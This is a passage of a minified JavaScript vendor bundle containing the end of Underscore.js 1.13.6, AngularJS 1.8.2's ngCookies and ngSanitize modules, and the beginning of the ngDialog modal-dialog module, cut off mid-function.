n[0]!="object"&&n!=null)for(n=o(n)?n:w(n),h=0,l=n.length;h<l;h++)u=n[h],u!=null&&u<r&&(r=u);else t=e(t,i),s(n,function(n,i,u){f=t(n,i,u);(f<c||f===Infinity&&r===Infinity)&&(r=n,c=f)});return r}function gf(n){return n?c(n)?d.call(n):wt(n)?n.match(df):o(n)?p(n,ei):w(n):[]}function ne(n,t,i){var r,e,h,f,s,c;if(t==null||i)return o(n)||(n=w(n)),n[hi(n.length-1)];for(r=gf(n),e=u(r),t=Math.max(Math.min(t,e),0),h=e-1,f=0;f<t;f++)s=hi(f,h),c=r[f],r[f]=r[s],r[s]=c;return r.slice(0,t)}function uh(n){return ne(n,Infinity)}function fh(n,t,i){var r=0;return t=e(t,i),ki(p(n,function(n,i,u){return{value:n,index:r++,criteria:t(n,i,u)}}).sort(function(n,t){var i=n.criteria,r=t.criteria;if(i!==r){if(i>r||i===void 0)return 1;if(i<r||r===void 0)return-1}return n.index-t.index}),"value")}function at(n,t){return function(i,r,u){var f=t?[[],[]]:{};return r=e(r,u),s(i,function(t,u){var e=r(t,u,i);n(f,t,e)}),f}}function ch(n){return n==null?0:o(n)?n.length:t(n).length}function lh(n,t,i){return t in i}function ie(n,t,i){return d.call(n,0,Math.max(0,n.length-(t==null||i?1:t)))}function gi(n,t,i){return n==null||n.length<1?t==null||i?void 0:[]:t==null||i?n[0]:ie(n,n.length-t)}function vt(n,t,i){return d.call(n,t==null||i?1:t)}function ah(n,t,i){return n==null||n.length<1?t==null||i?void 0:[]:t==null||i?n[n.length-1]:vt(n,Math.max(0,n.length-t))}function vh(n){return k(n,Boolean)}function yh(n,t){return y(n,t,!1)}function tr(n,t,i,r){var o,c,s,a,f,l;for(yr(t)||(r=i,i=t,t=!1),i!=null&&(i=e(i,r)),o=[],c=[],s=0,a=u(n);s<a;s++)f=n[s],l=i?i(f,s,n):f,t&&!i?(s&&c===l||o.push(f),c=l):i?h(c,l)||(c.push(l),o.push(f)):h(o,f)||o.push(f);return o}function ph(n){for(var i,t,r=[],e=arguments.length,f=0,o=u(n);f<o;f++)if(i=n[f],!h(r,i)){for(t=1;t<e;t++)if(!h(arguments[t],i))break;t===e&&r.push(i)}return r}function ir(n){for(var i=n&&kf(n,u).length||0,r=Array(i),t=0;t<i;t++)r[t]=ki(n,t);return r}function wh(n,t){for(var r={},i=0,f=u(n);i<f;i++)t?r[n[i]]=t[i]:r[n[i][0]]=n[i][1];return r}function bh(n,t,i){var u,f,r;for(t==null&&(t=n||0,n=0),i||(i=t<n?-1:1),u=Math.max(Math.ceil((t-n)/i),0),f=Array(u),r=0;r<u;r++,n+=i)f[r]=n;return f}function kh(n,t){if(t==null||t<1)return[];for(var r=[],i=0,u=n.length;i<u;)r.push(d.call(n,i,i+=t));return r}function rr(t,i){return t._chain?n(i).chain():i}function ee(t){return s(ri(t),function(i){var r=n[i]=t[i];n.prototype[i]=function(){var t=[this._wrapped];return se.apply(t,arguments),rr(this,r.apply(n,t))}}),n}var ur="1.13.6",fr=typeof self=="object"&&self.self===self&&self||typeof global=="object"&&global.global===global&&global||Function("return this")()||{},ft=Array.prototype,pt=Object.prototype,er=typeof Symbol!="undefined"?Symbol.prototype:null,se=ft.push,d=ft.slice,g=pt.toString,he=pt.hasOwnProperty,or=typeof ArrayBuffer!="undefined",ce=typeof DataView!="undefined",le=Array.isArray,sr=Object.keys,hr=Object.create,cr=or&&ArrayBuffer.isView,ae=isNaN,ve=isFinite,lr=!{toString:null}.propertyIsEnumerable("toString"),ar=["valueOf","isPrototypeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],ye=Math.pow(2,53)-1,wt=i("String"),pr=i("Number"),be=i("Date"),ke=i("RegExp"),de=i("Error"),wr=i("Symbol"),br=i("ArrayBuffer"),kr=i("Function"),ge=fr.document&&fr.document.childNodes,nt,c,et,ot,kt,u,dt,b,nf,tf,v,li,o,uf,ai,ff,sf,ct,yi,pi,vf,lt,bi,bf,df,di,te,nr,re,ue,fe,oe,yt;typeof/./!="function"&&typeof Int8Array!="object"&&typeof ge!="function"&&(kr=function(n){return typeof n=="function"||!1});var r=kr,dr=i("Object"),gr=ce&&dr(new DataView(new ArrayBuffer(8))),bt=typeof Map!="undefined"&&dr(new Map),no=i("DataView");nt=gr?to:no;c=le||i("Array");et=i("Arguments"),function(){et(arguments)||(et=function(n){return l(n,"callee")})}();ot=et;var st=ru("byteLength"),ro=iu(st),uo=/\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/;kt=or?fo:tu(!1);u=ru("length");n.VERSION=ur;n.prototype.value=function(){return this._wrapped};n.prototype.valueOf=n.prototype.toJSON=n.prototype.value;n.prototype.toString=function(){return String(this._wrapped)};dt="[object DataView]";var ti="forEach",su="has",ii=["clear","delete"],hu=["get",su,"set"],ho=ii.concat(ti,hu),cu=ii.concat(hu),co=["add"].concat(ii,ti,su),lo=bt?ni(ho):i("Map"),ao=bt?ni(cu):i("WeakMap"),vo=bt?ni(co):i("Set"),yo=i("WeakSet");var au=ui(tt),ht=ui(t),vu=ui(tt,!0);n.toPath=pu;n.iteratee=si;b=Date.now||function(){return(new Date).getTime()};var gu={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},us=du(gu),fs=lu(gu),es=du(fs),os=n.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g},ci=/(.)^/,ss={"'":"'","\\":"\\","\r":"r","\n":"n","\u2028":"u2028","\u2029":"u2029"},hs=/\\|'|\r|\n|\u2028|\u2029/g;nf=/^\s*(\w|\$)+\s*$/;tf=0;v=f(function(n,t){var r=v.placeholder,i=function(){for(var f=0,o=t.length,e=Array(o),u=0;u<o;u++)e[u]=t[u]===r?arguments[f++]:t[u];while(f<arguments.length)e.push(arguments[f++]);return rf(n,i,this,this,e)};return i});v.placeholder=n;li=f(function(n,t,i){if(!r(n))throw new TypeError("Bind must be called on a function");var u=f(function(r){return rf(n,u,t,this,i.concat(r))});return u});o=iu(u);uf=f(function(n,t){var i,r;if(t=y(t,!1,!1),i=t.length,i<1)throw new Error("bindAll must be passed function names");while(i--)r=t[i],n[r]=li(n[r],n);return n});ai=f(function(n,t,i){return setTimeout(function(){return n.apply(null,i)},t)});ff=v(ai,n,1);sf=v(ef,2);ct=cf(1);yi=cf(-1);pi=af(1,ct,lf);vf=af(-1,yi);lt=yf(1);bi=yf(-1);bf=f(function(n,t,i){var u,f;return r(t)?f=t:(t=it(t),u=t.slice(0,-1),t=t[t.length-1]),p(n,function(n){var r=f;if(!r){if(u&&u.length&&(n=fi(n,u)),n==null)return void 0;r=n[t]}return r==null?r:r.apply(n,i)})});df=/[^\ud800-\udfff]|[\ud800-\udbff][\udc00-\udfff]|[\ud800-\udfff]/g;var eh=at(function(n,t,i){l(n,i)?n[i].push(t):n[i]=[t]}),oh=at(function(n,t,i){n[i]=t}),sh=at(function(n,t,i){l(n,i)?n[i]++:n[i]=1}),hh=at(function(n,t,i){n[i?0:1].push(t)},!0);return di=f(function(n,t){var e={},i=t[0],u,s,f,o;if(n==null)return e;for(r(i)?(t.length>1&&(i=ut(i,t[1])),t=tt(n)):(i=lh,t=y(t,!1,!1),n=Object(n)),u=0,s=t.length;u<s;u++)f=t[u],o=n[f],i(o,f,n)&&(e[f]=o);return e}),te=f(function(n,t){var i=t[0],u;return r(i)?(i=vi(i),t.length>1&&(u=t[1])):(t=p(y(t,!1,!1),String),i=function(n,i){return!h(t,i)}),di(n,i,u)}),nr=f(function(n,t){return t=y(t,!0,!0),k(n,function(n){return!h(t,n)})}),re=f(function(n,t){return nr(n,t)}),ue=f(function(n){return tr(y(n,!0,!0))}),fe=f(ir),s(["pop","push","reverse","shift","sort","splice","unshift"],function(t){var i=ft[t];n.prototype[t]=function(){var n=this._wrapped;return n!=null&&(i.apply(n,arguments),(t==="shift"||t==="splice")&&n.length===0&&delete n[0]),rr(this,n)}}),s(["concat","join","slice"],function(t){var i=ft[t];n.prototype[t]=function(){var n=this._wrapped;return n!=null&&(n=i.apply(n,arguments)),rr(this,n)}}),oe={__proto__:null,VERSION:ur,restArguments:f,isObject:a,isNull:pe,isUndefined:vr,isBoolean:yr,isElement:we,isString:wt,isNumber:pr,isDate:be,isRegExp:ke,isError:de,isSymbol:wr,isArrayBuffer:br,isDataView:nt,isArray:c,isFunction:r,isArguments:ot,isFinite:io,isNaN:nu,isTypedArray:kt,isEmpty:oo,isMatch:fu,isEqual:so,isMap:lo,isWeakMap:ao,isSet:vo,isWeakSet:yo,keys:t,allKeys:tt,values:w,pairs:po,invert:lu,functions:ri,methods:ri,extend:au,extendOwn:ht,assign:ht,defaults:vu,create:bo,clone:ko,tap:go,get:wu,has:ns,mapObject:ts,identity:ei,constant:tu,noop:ku,toPath:pu,property:oi,propertyOf:is,matcher:rt,matches:rt,times:rs,random:hi,now:b,escape:us,unescape:es,templateSettings:os,template:ls,result:as,uniqueId:vs,chain:ys,iteratee:si,partial:v,bind:li,bindAll:uf,memoize:ps,delay:ai,defer:ff,throttle:ws,debounce:bs,wrap:ks,negate:vi,compose:ds,after:gs,before:ef,once:sf,findKey:hf,findIndex:ct,findLastIndex:yi,sortedIndex:lf,indexOf:pi,lastIndexOf:vf,find:wi,detect:wi,findWhere:nh,each:s,forEach:s,map:p,collect:p,reduce:lt,foldl:lt,inject:lt,reduceRight:bi,foldr:bi,filter:k,select:k,reject:th,every:pf,all:pf,some:wf,any:wf,contains:h,includes:h,include:h,invoke:bf,pluck:ki,where:ih,max:kf,min:rh,shuffle:uh,sample:ne,sortBy:fh,groupBy:eh,indexBy:oh,countBy:sh,partition:hh,toArray:gf,size:ch,pick:di,omit:te,first:gi,head:gi,take:gi,initial:ie,last:ah,rest:vt,tail:vt,drop:vt,compact:vh,flatten:yh,without:re,uniq:tr,unique:tr,union:ue,intersection:ph,difference:nr,unzip:ir,transpose:ir,zip:fe,object:wh,range:bh,chunk:kh,mixin:ee,"default":n},yt=ee(oe),yt._=yt,yt})),function(n,t){"use strict";function i(n,i,r){var u=r.baseHref(),f=n[0];return function(n,r,e){var s,o;e=e||{};o=e.expires;s=t.isDefined(e.path)?e.path:u;t.isUndefined(r)&&(o="Thu, 01 Jan 1970 00:00:00 GMT",r="");t.isString(o)&&(o=new Date(o));r=encodeURIComponent(n)+"="+encodeURIComponent(r);r=r+(s?";path="+s:"")+(e.domain?";domain="+e.domain:"");r+=o?";expires="+o.toUTCString():"";r+=e.secure?";secure":"";r+=e.samesite?";samesite="+e.samesite:"";e=r.length+1;4096<e&&i.warn("Cookie '"+n+"' possibly not set or overflowed because it was too large ("+e+" > 4096 bytes)!");f.cookie=r}}t.module("ngCookies",["ng"]).info({angularVersion:"1.8.2"}).provider("$cookies",[function(){var n=this.defaults={};this.$get=["$$cookieReader","$$cookieWriter",function(i,r){return{get:function(n){return i()[n]},getObject:function(n){return(n=this.get(n))?t.fromJson(n):n},getAll:function(){return i()},put:function(i,u,f){r(i,u,f?t.extend({},n,f):n)},putObject:function(n,i,r){this.put(n,t.toJson(i),r)},remove:function(i,u){r(i,void 0,u?t.extend({},n,u):n)}}}]}]);i.$inject=["$document","$log","$browser"];t.module("ngCookies").provider("$$cookieWriter",function(){this.$get=i})}(window,window.angular),function(n,t){"use strict";function v(n){var t=[];return f(t,c).chars(n),t.join("")}var u=t.$$minErr("$sanitize"),e,i,o,s,h,r,c,l,a,f;t.module("ngSanitize",[]).provider("$sanitize",function(){function v(n,t){return k(n.split(","),t)}function k(n,t){for(var u={},i=0;i<n.length;i++)u[t?r(n[i]):n[i]]=!0;return u}function p(n,t){t&&t.length&&i(n,k(t))}function ht(n){for(var i,r={},t=0,u=n.length;t<u;t++)i=n[t],r[i.name]=i.value;return r}function it(n){return n.replace(/&/g,"&amp;").replace(ct,function(n){var t=n.charCodeAt(0);return n=n.charCodeAt(1),"&#"+(1024*(t-55296)+(n-56320)+65536)+";"}).replace(lt,function(n){return"&#"+n.charCodeAt(0)+";"}).replace(/</g,"&lt;").replace(/>/g,"&gt;")}function rt(t){for(var u,f;t;){if(t.nodeType===n.Node.ELEMENT_NODE)for(var i=t.attributes,r=0,e=i.length;r<e;r++)u=i[r],f=u.name.toLowerCase(),("xmlns:ns1"===f||0===f.lastIndexOf("ns1:",0))&&(t.removeAttributeNode(u),r--,e--);(i=t.firstChild)&&rt(i);t=w("nextSibling",t)}}function w(n,t){var i=t[n];if(i&&l.call(t,i))throw u("elclob",t.outerHTML||t.outerText);return i}var d=!1,g=!1;this.$get=["$$sanitizeUri",function(n){return d=!0,g&&i(y,ft),function(t){var i=[];return a(t,f(i,function(t,i){return!/^unsafe:/.test(n(t,i))})),i.join("")}}];this.enableSvg=function(n){return h(n)?(g=n,this):g};this.addValidElements=function(n){return d||(s(n)&&(n={htmlElements:n}),p(ft,n.svgElements),p(nt,n.htmlVoidElements),p(y,n.htmlVoidElements),p(y,n.htmlElements)),this};this.addValidAttrs=function(n){return d||i(ot,k(n,!0)),this};e=t.bind;i=t.extend;o=t.forEach;s=t.isArray;h=t.isDefined;r=t.$$lowercase;c=t.noop;a=function(n,t){var r,i,f;if(null===n||void 0===n?n="":"string"!=typeof n&&(n=""+n),r=st(n),!r)return"";i=5;do{if(0===i)throw u("uinput");i--;n=r.innerHTML;r=st(n)}while(n!==r.innerHTML);for(i=r.firstChild;i;){switch(i.nodeType){case 1:t.start(i.nodeName.toLowerCase(),ht(i.attributes));break;case 3:t.chars(i.textContent)}if(!(f=i.firstChild)&&(1===i.nodeType&&t.end(i.nodeName.toLowerCase()),f=w("nextSibling",i),!f))for(;null==f;){if(i=w("parentNode",i),i===r)break;f=w("nextSibling",i);1===i.nodeType&&t.end(i.nodeName.toLowerCase())}i=f}for(;i=r.firstChild;)r.removeChild(i)};f=function(n,t){var u=!1,i=e(n,n.push);return{start:function(n,f){n=r(n);!u&&at[n]&&(u=n);u||!0!==y[n]||(i("<"),i(n),o(f,function(u,f){var e=r(f),o="img"===n&&"src"===e||"background"===e;!0===ot[e]&&(!0!==et[e]||t(u,o))&&(i(" "),i(f),i('="'),i(it(u)),i('"'))}),i(">"))},end:function(n){n=r(n);u||!0!==y[n]||!0===nt[n]||(i("<\/"),i(n),i(">"));n==u&&(u=!1)},chars:function(n){u||i(it(n))}}};l=n.Node.prototype.contains||function(n){return!!(this.compareDocumentPosition(n)&16)};var ct=/[\uD800-\uDBFF][\uDC00-\uDFFF]/g,lt=/([^#-~ |!])/g,nt=v("area,br,col,hr,img,wbr"),tt=v("colgroup,dd,dt,li,p,tbody,td,tfoot,th,thead,tr"),b=v("rp,rt"),ut=i({},b,tt),tt=i({},tt,v("address,article,aside,blockquote,caption,center,del,dir,div,dl,figure,figcaption,footer,h1,h2,h3,h4,h5,h6,header,hgroup,hr,ins,map,menu,nav,ol,pre,section,table,ul")),b=i({},b,v("a,abbr,acronym,b,bdi,bdo,big,br,cite,code,del,dfn,em,font,i,img,ins,kbd,label,map,mark,q,ruby,rp,rt,s,samp,small,span,strike,strong,sub,sup,time,tt,u,var")),ft=v("circle,defs,desc,ellipse,font-face,font-face-name,font-face-src,g,glyph,hkern,image,linearGradient,line,marker,metadata,missing-glyph,mpath,path,polygon,polyline,radialGradient,rect,stop,svg,switch,text,title,tspan"),at=v("script,style"),y=i({},nt,tt,b,ut),et=v("background,cite,href,longdesc,src,xlink:href,xml:base"),ut=v("abbr,align,alt,axis,bgcolor,border,cellpadding,cellspacing,class,clear,color,cols,colspan,compact,coords,dir,face,headers,height,hreflang,hspace,ismap,lang,language,nohref,nowrap,rel,rev,rows,rowspan,rules,scope,scrolling,shape,size,span,start,summary,tabindex,target,title,type,valign,value,vspace,width"),b=v("accent-height,accumulate,additive,alphabetic,arabic-form,ascent,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,zoomAndPan",!0),ot=i({},et,b,ut),st=function(n,t){function f(t){t="<remove><\/remove>"+t;try{var i=(new n.DOMParser).parseFromString(t,"text/html").body;return i.firstChild.remove(),i}catch(r){}}var i,r;try{i=!!f("")}catch(e){i=!1}if(i)return f;if(!t||!t.implementation)throw u("noinert");return i=t.implementation.createHTMLDocument("inert"),r=(i.documentElement||i.getDocumentElement()).querySelector("body"),function(n){return r.innerHTML=n,t.documentMode&&rt(r),r}}(n,n.document)}).info({angularVersion:"1.8.2"});t.module("ngSanitize").filter("linky",["$sanitize",function(n){var i=/((s?ftp|https?):\/\/|(www\.)|(mailto:)?[A-Za-z0-9._%+-]+@)\S*[^\s.;,(){}<>"\u201d\u2019]/i,r=/^mailto:/i,u=t.$$minErr("linky"),f=t.isDefined,e=t.isFunction,o=t.isObject,s=t.isString;return function(t,h,c){function p(n){n&&l.push(v(n))}function b(n,t){var i,r=k(n);l.push("<a ");for(i in r)l.push(i+'="'+r[i]+'" ');!f(h)||"target"in r||l.push('target="',h,'" ');l.push('href="',n.replace(/"/g,"&quot;"),'">');p(t);l.push("<\/a>")}if(null==t||""===t)return t;if(!s(t))throw u("notstring",t);for(var k=e(c)?c:o(c)?function(){return c}:function(){return{}},a=t,l=[],y,w;t=a.match(i);)y=t[0],t[2]||t[4]||(y=(t[3]?"http://":"mailto:")+y),w=t.index,p(a.substr(0,w)),b(y,t[0].replace(r,"")),a=a.substring(w+t[0].length);return p(a),n(l.join(""))}}])}(window,window.angular),function(n,t){typeof module!="undefined"&&module.exports?(typeof angular=="undefined"?t(require("angular")):t(angular),module.exports="ngDialog"):typeof define=="function"&&define.amd?define(["angular"],t):t(n.angular)}(this,function(n){"use strict";var e=n.module("ngDialog",[]),t=n.element,r=n.isDefined,u=(document.body||document.documentElement).style,c=r(u.animation)||r(u.WebkitAnimation)||r(u.MozAnimation)||r(u.MsAnimation)||r(u.OAnimation),h="animationend webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend",l="a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]",a="ngdialog-disabled-animation",o={html:!1,body:!1},f={},i=[],s=!1;return e.provider("ngDialog",function(){var u=this.defaults={className:"ngdialog-theme-default",disableAnimation:!1,plain:!1,showClose:!0,closeByDocument:!0,closeByEscape:!0,closeByNavigation:!1,appendTo:!1,preCloseCallback:!1,overlay:!0,cache:!0,trapFocus:!0,preserveFocus:!0,ariaAuto:!0,ariaRole:null,ariaLabelledById:null,ariaLabelledBySelector:null,ariaDescribedById:null,ariaDescribedBySelector:null};this.setForceHtmlReload=function(n){o.html=n||!1};this.setForceBodyReload=function(n){o.body=n||!1};this.setDefaults=function(t){n.extend(u,t)};var y=0,r=0,e,v={};this.$get=["$document","$templateCache","$compile","$q","$http","$rootScope","$timeout","$window","$controller","$injector",function(p,w,b,k,d,g,nt,tt,it,rt){var ft=[],ut={onDocumentKeydown:function(n){n.keyCode===27&&et.close("$escape")},activate:function(n){var t=n.data("$ngDialogOptions");if(t.trapFocus){n.on("keydown",ut.onTrapFocusKeydown);ft.body.on("keydown",ut.onTrapFocusKeydown)}},deactivate:function(n){n.off("keydown",ut.onTrapFocusKeydown);ft.body.off("keydown",ut.onTrapFocusKeydown)},deactivateAll:function(t){n.forEach(t,function(t){var i=n.element(t);ut.deactivate(i)})},setBodyPadding:function(n){var t=parseInt(ft.body.css("padding-right")||0,10);ft.body.css("padding-right",t+n+"px");ft.body.data("ng-dialog-original-padding",t);g.$broadcast("ngDialog.setPadding",n)},resetBodyPadding:function(){var n=ft.body.data("ng-dialog-original-padding");n?ft.body.css("padding-right",n+"px"):ft.body.css("padding-right","");g.$broadcast("ngDialog.setPadding",0)},performCloseDialog:function(n,t){var y=n.data("$ngDialogOptions"),u=n.attr("id"),o=f[u],l,a;o&&(typeof tt.Hammer!="undefined"?(l=o.hammerTime,l.off("tap",e),l.destroy&&l.destroy(),delete o.hammerTime):n.unbind("click"),r===1&&ft.body.unbind("keydown",ut.onDocumentKeydown),n.hasClass("ngdialog-closing")||(r-=1),a=n.data("$ngDialogPreviousFocus"),a&&a.focus&&a.focus(),g.$broadcast("ngDialog.closing",n,t),r=r<0?0:r,c&&!y.disableAnimation?(o.$destroy(),n.unbind(h).bind(h,function(){ut.closeDialogElement(n,t)}).addClass("ngdialog-closing")):(o.$destroy(),ut.closeDialogElement(n,t)),v[u]&&(v[u].resolve({id:u,value:t,$dialog:n,remainingDialogs:r}),delete v[u]),f[u]&&delete f[u],i.splice(i.indexOf(u),1),i.length||(ft.body.unbind("keydown",ut.onDocumentKeydown),s=!1))},closeDialogElement:function(n,t){n.remove();r===0&&(ft.html.removeClass("ngdialog-open"),ft.body.removeClass("ngdialog-open"),ut.resetBodyPadding());g.$broadcast("ngDialog.closed",n,t)},closeDialog:function(t,i){var u=t.data("$ngDialogPreCloseCallback"),r;u&&n.isFunction(u)?(r=u.call(t,i),n.isObject(r)?r.closePromise?r.closePromise.then(function(){ut.performCloseDialog(t,i)}):r.then(function(){ut.performCloseDialog(t,i)},function(){return}):r!==!1&&ut.performCloseDialog(t,i)):ut.performCloseDialog(t,i)},onTrapFocusKeydown:function(t){var r=n.element(t.currentTarget),i,u,f;if(r.hasClass("ngdialog"))i=r;else if(i=ut.getActiveDialog(),i===null)return;u=t.keyCode===9;f=t.shiftKey===!0;u&&ut.handleTab(i,t,f)},handleTab:function(n,t,i){var r=ut.getFocusableElements(n);if(r.length===0){document.activeElement&&document.activeElement.blur();return}var o=document.activeElement,u=Array.prototype.indexOf.call(r,o),e=u===-1,s=u===0,h=u===r.length-1,f=!1;i?(e||s)&&(r[r.length-1].focus(),f=!0):(e||h)&&(r[0].focus(),f=!0);f&&(t.preventDefault(),t.stopPropagation())},autoFocus:function(n){var e=n[0],i=e.querySelector("*[autofocus]"),r,u,f;if(i===null||(i.focus(),document.activeElement!==i)){if(r=ut.getFocusableElements(n),r.length>0){r[0].focus();return}u=ut.filterVisibleElements(e.querySelectorAll("h1,h2,h3,h4,h5,h6,p,span"));u.length>0&&(f=u[0],t(f).attr("tabindex","-1").css("outline","0"),f.focus())}},getFocusableElements:function(n){var t=n[0],i=t.querySelectorAll(l),r=ut.filterTabbableElements(i);return ut.filterVisibleElements(r)},filterTabbableElements:function(n){for(var r,u=[],i=0;i<n.length;i++)r=n[i],t(r).attr("tabindex")!=="-1"&&u.push(r);return u},filterVisibleElements:function(n){for(var t,r=[],i=0;i<n.length;i++)t=n[i],(t.offsetWidth>0||t.offsetHeight>0)&&r.push(t);return r},getActiveDialog:function(){var n=document.querySelectorAll(".ngdialog");return n.length===0?null:t(n[n.length-1])},applyAriaAttributes:function(n,t){if(t.ariaAuto){if(!t.ariaRole){var i=ut.getFocusableElements(n).length>0?"dialog":"alertdialog";t.ariaRole=i}t.ariaLabelledBySelector||(t.ariaLabelledBySelector="h1,h2,h3,h4,h5,h6");t.ariaDescribedBySelector||(t.ariaDescribedBySelector="article,section,p")}t.ariaRole&&n.attr("role",t.ariaRole);ut.applyAriaAttribute(n,"aria-labelledby",t.ariaLabelledById,t.ariaLabelledBySelector);ut.applyAriaAttribute(n,"aria-describedby",t.ariaDescribedById,t.ariaDescribedBySelector)},applyAriaAttribute:function(n,i,r,u){var o,e,f;return r&&n.attr(i,r),u?(o=n.attr("id"),e=n[0].querySelector(u),!e)?void 0:(f=o+"-"+i,t(e).attr("id",f),n.attr(i,f),f):void 0},detectUIRouter:function(){try{return n.module("ui.router"),!0}catch(t){return!1}},getRouterLocationEventName:function(){return ut.detectUIRouter()?"$stateChangeSuccess":"$locationChangeSuccess"}},et={__PRIVATE__:ut,open:function(o){function lt(n,t){return g.$broadcast("ngDialog.templateLoading",n),d.get(n,t||{}).then(function(t){return g.$broadcast("ngDialog.templateLoaded",n),t.data||""})}function at(t){return t?n.isString(t)&&h.plain?t:typeof h.cache=="boolean"&&!h.cache?lt(t,{cache:!1}):lt(t,{cache:w}):"Empty template"}var h=n.copy(u),ht=++y,p="ngdialog"+ht,ct,l,c,st,ot;return i.push(p),o=o||{},n.extend(h,o),v[p]=ct=k.defer(),f[p]=l=n.isObject(h.scope)?h.scope.$new():g.$new(),ot=n.extend({},h.resolve),n.forEach(ot,function(t,i){ot[i]=n.isString(t)?rt.get(t):rt.invoke(t,null,null,i)}),k.all({template:at(h.template||h.templateUrl),locals:k.all(ot)}).then(function(i){var f=i.template,rt=i.locals,y,o,u,w,v,k,d;if(h.showClose&&(f+='<div class="ngdialog-close"><\/div>'),y=h.overlay?"":" ngdialog-no-overlay",c=t('<div id="ngdialog'+ht+'" class="ngdialog'+y+'"><\/div>'),c.html(h.overlay?'<div class="ngdialog-overlay"><\/div><div class="ngdialog-content" role="document">'+f+"<\/div>":'<div class="ngdialog-content" role="document">'+f+"<\/div>"),c.data("$ngDialogOptions",h),l.ngDialogId=p,h.data&&n.isString(h.data)?(o=h.data.replace(/^\s*/,"")[0],l.ngDialogData=o==="{"||o==="["?n.fromJson(h.data):h.data,l.ngDialogData.ngDialogId=p):h.data&&n.isObject(h.data)&&(l.ngDialogData=h.data,l.ngDialogData.ngDialogId=p),h.className&&c.addClass(h.className),h.disableAnimation&&c.addClass(a),st=h.appendTo&&n.isString(h.appendTo)?n.element(document.querySelector(h.appendTo)):ft.body,ut.applyAriaAttributes(c,h),h.preCloseCallback&&(n.isFunction(h.preCloseCallback)?u=h.preCloseCallback:n.isString(h.preCloseCallback)&&l&&(n.isFunction(l[h.preCloseCallback])?u=l[h.preCloseCallback]:l.$parent&&n.isFunction(l.$parent[h.preCloseCallback])?u=l.$parent[h.preCloseCallback]:g&&n.isFunction(g[h.preCloseCallback])&&(u=g[h.preCloseCallback])),u&&c.data("$ngDialogPreCloseCallback",u)),l.closeThisDialog=function(n){ut.closeDialog(c,n)},h.controller&&(n.isString(h.controller)||n.isArray(h.controller)||n.isFunction(h.controller))&&(h.controllerAs&&n.isString(h.controllerAs)&&(w=h.controllerAs),v=it(h.controller,n.extend(rt,{$scope:l,$element:c}),!0,w),h.bindToController&&n.extend(v.instance,{ngDialogId:l.ngDialogId,ngDialogData:l.ngDialogData,closeThisDialog:l.closeThisDialog}),c.data("$ngDialogControllerController",v())),nt(function(){var i=document.querySelectorAll(".ngdialog"),t,n;ut.deactivateAll(i);b(c)(l);t=tt.innerWidth-ft.body.prop("clientWidth");ft.html.addClass("ngdialog-open");ft.body.addClass("ngdialog-open");n=t-(tt.innerWidth-ft.body.prop("clientWidth"));n>0&&ut.setBodyPadding(n);st.append(c);ut.activate(c);h.trapFocus&&ut.autoFocus(c);h.name?g.$broadcast("ngDialog.opened",{dialog:c,name:h.name}):g.$broadcast("ngDialog.opened",c)}),s||(ft.body.bind("keydown",ut.onDocumentKeydown),s=!0),h.closeByNavigation&&(k=ut.getRouterLocationEventName(),g.$on(k,function(){ut.closeDialog(c)})),h.preserveFocus&&c.data("$ngDialogPreviousFocus",document.activeElement),e=function(n){var r=h.closeByDocument?t(n.target).hasClass("ngdialog-overlay"):!1,i=t(n.target).hasClass("ngdialog-close");(r||i)&&et.close(c.attr("id"),i?"$closeButton":"$document")},typeof tt.Hammer!="undefined"){d=l.hammerTime=tt.Hammer(c[0]);d.on("tap",e)}else c.bind("click",e);return r+=1,et}),{id:p,closePromise:ct.promise,close:function(n){ut.closeDialog(c,n)}}},openConfirm:function(i){var f=k.defer(),r=n.copy(u),e;return i=i||{},n.extend(r,i),r.scope=n.isObject(r.scope)?r.scope.$new():g.$new(),r.scope.confirm=function(n){f.resolve(n);var i=t(document.getElementById(e.id));ut.performCloseDialog(i,n)},e=et.open(r),e.closePromise.then(function(n){return n?f.reject(n.value):f.reject()}),f.promise},isOpen:function(n){var i=t(document.getElementById(n));return i.length>0},close:function(n,r){var u=t(document.getElementById(n)),f;return u.length?ut.closeDialog(u,r):n==="$escape"?(f=i[i.length-1],u=t(document.getElementById(f)),u.data("$ngDialogOptions").closeByEscape&&ut.closeDialog(u,"$escape")):et.closeAll(r),et},closeAll:function(n){for(var u,r=document.querySelectorAll(".ngdialog"),i=r.length-1;i>=0;i--)u=r[i],ut.closeDialog(t(u),n)},getOpenDialogs:function(){return i},getDefaults:function(){return u}};return n.forEach(["html","body"],function(n){if(ft[n]=p.find(n),o[n]){var t=ut.getRouterLocationEventName();g.$on(t,function(){ft[n]=p.find(n)})}}),et}]}),e.directive("ngDialog",["ngDialog",function(t){return{restrict:"A",scope:{ngDialogScope:"="},link:function(i,r,u){r.on("click",function(r){var 